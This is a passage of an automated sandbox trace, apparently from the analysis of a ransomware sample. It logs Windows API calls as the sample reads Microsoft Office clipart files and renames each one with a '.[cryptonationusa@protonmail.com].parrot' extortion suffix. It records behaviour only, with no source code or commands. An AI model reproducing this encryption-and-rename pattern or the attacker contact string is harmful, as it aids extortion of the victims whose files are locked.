lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.581] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.581] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2466, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2466, lpOverlapped=0x0) returned 1 [0130.582] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.582] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x257e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.582] CloseHandle (hObject=0x1b0) returned 1 [0130.582] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0130.586] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x92e, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.586] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.586] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.587] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.587] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x816, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x816, lpOverlapped=0x0) returned 1 [0130.587] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.588] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x92e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.588] CloseHandle (hObject=0x1b0) returned 1 [0130.588] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.589] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.591] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea7, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.591] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.593] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.593] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1d8f, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1d8f, lpOverlapped=0x0) returned 1 [0130.594] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.594] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.594] CloseHandle (hObject=0x1b0) returned 1 [0130.594] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grden_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.595] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0130.597] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x19d3, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.597] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.597] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.599] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.599] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x18bb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x18bb, lpOverlapped=0x0) returned 1 [0130.599] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.600] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x19d3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.600] CloseHandle (hObject=0x1b0) returned 1 [0130.600] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\grid_01.mid.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0130.603] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xfcc, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.603] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.603] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.605] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.605] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xeb4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xeb4, lpOverlapped=0x0) returned 1 [0130.605] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.605] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xfcc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.605] CloseHandle (hObject=0x1b0) returned 1 [0130.606] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00057_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00057_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.606] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0130.609] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xac0, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.609] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.609] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.610] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.611] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a8, lpOverlapped=0x0) returned 1 [0130.611] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.611] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xac0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.611] CloseHandle (hObject=0x1b0) returned 1 [0130.611] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00084_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00084_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.612] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.614] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9d0, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.614] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.615] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.616] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.616] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8b8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x8b8, lpOverlapped=0x0) returned 1 [0130.616] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.617] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9d0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.617] CloseHandle (hObject=0x1b0) returned 1 [0130.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00231_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00231_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0130.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.620] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x51a, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.620] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.620] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.621] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.621] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x402, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x402, lpOverlapped=0x0) returned 1 [0130.622] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.622] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x51a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.622] CloseHandle (hObject=0x1b0) returned 1 [0130.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00235_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00235_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.623] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.625] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdee, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.625] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.625] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.626] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.627] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd6, lpOverlapped=0x0) returned 1 [0130.627] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.627] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.627] CloseHandle (hObject=0x1b0) returned 1 [0130.627] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00236_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00236_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.628] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0130.630] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.630] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.630] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.631] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.631] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7a8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7a8, lpOverlapped=0x0) returned 1 [0130.632] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.632] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.632] CloseHandle (hObject=0x1b0) returned 1 [0130.632] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00241_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00241_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.633] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.681] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf66, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.681] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.682] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.683] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.683] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe4e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe4e, lpOverlapped=0x0) returned 1 [0130.684] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.684] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf66, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.684] CloseHandle (hObject=0x1b0) returned 1 [0130.684] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00260_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00260_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.686] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0130.688] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.688] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.688] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.690] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.690] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbc8, lpOverlapped=0x0) returned 1 [0130.690] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.691] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.691] CloseHandle (hObject=0x1b0) returned 1 [0130.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00276_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00276_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.692] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0130.694] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, 